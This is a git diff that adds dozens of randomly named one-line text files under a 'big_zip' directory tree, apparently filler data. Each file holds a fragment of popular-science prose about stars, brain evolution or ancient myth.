diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cdbovdjxlkwpxudkknmlegu.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cdbovdjxlkwpxudkknmlegu.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cdbovdjxlkwpxudkknmlegu.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cokduigdnifwez.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cokduigdnifwez.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_cokduigdnifwez.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_csiyaelkr.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_csiyaelkr.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_csiyaelkr.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_dhhpmfcieejinkrea.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_dhhpmfcieejinkrea.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_dhhpmfcieejinkrea.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_djohfhqe.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_djohfhqe.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_djohfhqe.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_enqxniuul.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_enqxniuul.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_enqxniuul.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_fmzypitopozocmesgh.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_fmzypitopozocmesgh.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_fmzypitopozocmesgh.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_gfopqmfirmc.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_gfopqmfirmc.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_gfopqmfirmc.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_hdstbtvgtgrynif.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_hdstbtvgtgrynif.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_hdstbtvgtgrynif.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_kgmflkie.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_kgmflkie.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_kgmflkie.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_lppslnwomvlrflajvecj.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_lppslnwomvlrflajvecj.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_lppslnwomvlrflajvecj.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mcgdkmudtagoxg.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mcgdkmudtagoxg.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mcgdkmudtagoxg.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mpzhalujmxjfpoyhqzz.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mpzhalujmxjfpoyhqzz.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_mpzhalujmxjfpoyhqzz.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_nkzpsmggdwliw.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_nkzpsmggdwliw.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_nkzpsmggdwliw.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_onfmrchkwjvergeork.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_onfmrchkwjvergeork.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_onfmrchkwjvergeork.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_owlrrimhmsfgsf.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_owlrrimhmsfgsf.txt
new file mode 100644
index 0000000..7d3efc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_owlrrimhmsfgsf.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qfslmoxvnw.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qfslmoxvnw.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qfslmoxvnw.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qgaheyawulmkq.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qgaheyawulmkq.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_qgaheyawulmkq.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_ummwxwvbqfedsayjvp.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_ummwxwvbqfedsayjvp.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_ummwxwvbqfedsayjvp.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_yxqanmvakpurgimtx.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_yxqanmvakpurgimtx.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_yxqanmvakpurgimtx.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zmjvnwns.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zmjvnwns.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zmjvnwns.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zvxwjbomdkptpsj.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zvxwjbomdkptpsj.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/file_zvxwjbomdkptpsj.txt
@@ -0,0 +1 @@
+higher temperatures and pressures run rapidly through their store of nuclear fuel, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/iylqavvczfydyhw.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/iylqavvczfydyhw.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/iylqavvczfydyhw.txt
@@ -0,0 +1 @@
+evolution to rip out the ancient interior of the brain because of its imperfections and replace
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/mzdswnxhwhkjqfalubzthnw.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/mzdswnxhwhkjqfalubzthnw.txt
new file mode 100644
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@@ -0,0 +1 @@
+answers. Books and libraries provide a ready means for finding out what those answers are.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/opkhwzvkebxaypsbpvhv.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/opkhwzvkebxaypsbpvhv.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
+campfires. So the stars must be campfires very far away. ‘But,’ they ask me, ‘how can there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/qyxgqsbyrlbhuj.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/qyxgqsbyrlbhuj.txt
new file mode 100644
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+Marduk and Zeus were really the same. You might also decide, since they had quite
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/seyxuhkbfioli.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/seyxuhkbfioli.txt
new file mode 100644
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@@ -0,0 +1 @@
+either the time of useful communication of the spacecraft with the Earth or the period
\ No newline at end of file
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diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/tdubqswzxzucouhyiffp.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/tdubqswzxzucouhyiffp.txt
new file mode 100644
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/upafbaizbdgeqxkkiugxfiz.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/upafbaizbdgeqxkkiugxfiz.txt
new file mode 100644
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/uudyvyyi.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/uudyvyyi.txt
new file mode 100644
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/xulsodbnsl.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/xulsodbnsl.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/zptfjokmcvzgtremeom.txt b/big_zip/big-zip-files/folder_fcfaqewzkv/folder_gcyojdpjym/folder_svawretcsb/folder_mykdpsshgu/zptfjokmcvzgtremeom.txt
new file mode 100644
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@@ -0,0 +1 @@
+His tears flowing before Ea:
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_abfcfmcoi.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_abfcfmcoi.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_bnqufycdnfxjgtkvyxqhnll.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_bnqufycdnfxjgtkvyxqhnll.txt
new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_dzpozokvyxqcnayo.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_dzpozokvyxqcnayo.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_dzpozokvyxqcnayo.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_fsfssliqelbozfnnzi.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_fsfssliqelbozfnnzi.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_fsfssliqelbozfnnzi.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_iwwecgaftloxmjbtql.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_iwwecgaftloxmjbtql.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_iwwecgaftloxmjbtql.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_nxyqtsszas.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_nxyqtsszas.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_nxyqtsszas.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_ryioztnyqerlhdsv.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_ryioztnyqerlhdsv.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_ryioztnyqerlhdsv.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_tsphdgorakqtmrzsexz.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_tsphdgorakqtmrzsexz.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_tsphdgorakqtmrzsexz.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_vtmrukywgwpjteh.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_vtmrukywgwpjteh.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_xheegvbmszqbdigo.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_xheegvbmszqbdigo.txt
new file mode 100644
index 0000000..c6266d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/file_xheegvbmszqbdigo.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/file_zqhxgsgylhxaqzk.txt b/big_zip/big-zip-files/folder_fevpxssxat/file_zqhxgsgylhxaqzk.txt
new file mode 100644
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--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_cpmpydirmxslvuz.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_cpmpydirmxslvuz.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_cpmpydirmxslvuz.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_eoioicbhutc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_eoioicbhutc.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_eoioicbhutc.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_imnysjwtqaaczhlstldpdzt.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_imnysjwtqaaczhlstldpdzt.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_imnysjwtqaaczhlstldpdzt.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_lcbdxtgpajegnpykcfb.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_lcbdxtgpajegnpykcfb.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_lcbdxtgpajegnpykcfb.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_poyahiiroroe.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_poyahiiroroe.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_poyahiiroroe.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_qeszgqazwsfgdg.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_qeszgqazwsfgdg.txt
new file mode 100644
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--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_qplrczamaqplattpjaliam.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_qplrczamaqplattpjaliam.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_qplrczamaqplattpjaliam.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_rccydlvgkanotmmcdc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_rccydlvgkanotmmcdc.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_teesgrmhzttvuy.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_teesgrmhzttvuy.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_upqtnjtxeaxwtyuxqwjgr.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_upqtnjtxeaxwtyuxqwjgr.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_upqtnjtxeaxwtyuxqwjgr.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_utdiuxqjn.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_utdiuxqjn.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_utdiuxqjn.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_wybpxgachyvizdmgbbbdp.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_wybpxgachyvizdmgbbbdp.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_xsuvzpnxadywzaapyc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_xsuvzpnxadywzaapyc.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_yyznpyhfr.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_yyznpyhfr.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_yyznpyhfr.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_ztufwihpwipftkggenpv.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_ztufwihpwipftkggenpv.txt
new file mode 100644
index 0000000..096d701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/file_ztufwihpwipftkggenpv.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_aonlysjgkzxkvxzoc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_aonlysjgkzxkvxzoc.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_cfxxnkdficgodjmqveqs.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_cfxxnkdficgodjmqveqs.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_dshwoyfqavav.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_dshwoyfqavav.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_dshwoyfqavav.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_epkmygedupxfneahdvzi.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_epkmygedupxfneahdvzi.txt
new file mode 100644
index 0000000..ef6f7e7
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_hakidxakthfkcvz.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_hakidxakthfkcvz.txt
new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jcklhzcsfow.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jcklhzcsfow.txt
new file mode 100644
index 0000000..ef6f7e7
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+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jcklhzcsfow.txt
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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jhuxlsdkd.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jhuxlsdkd.txt
new file mode 100644
index 0000000..ef6f7e7
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+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jhuxlsdkd.txt
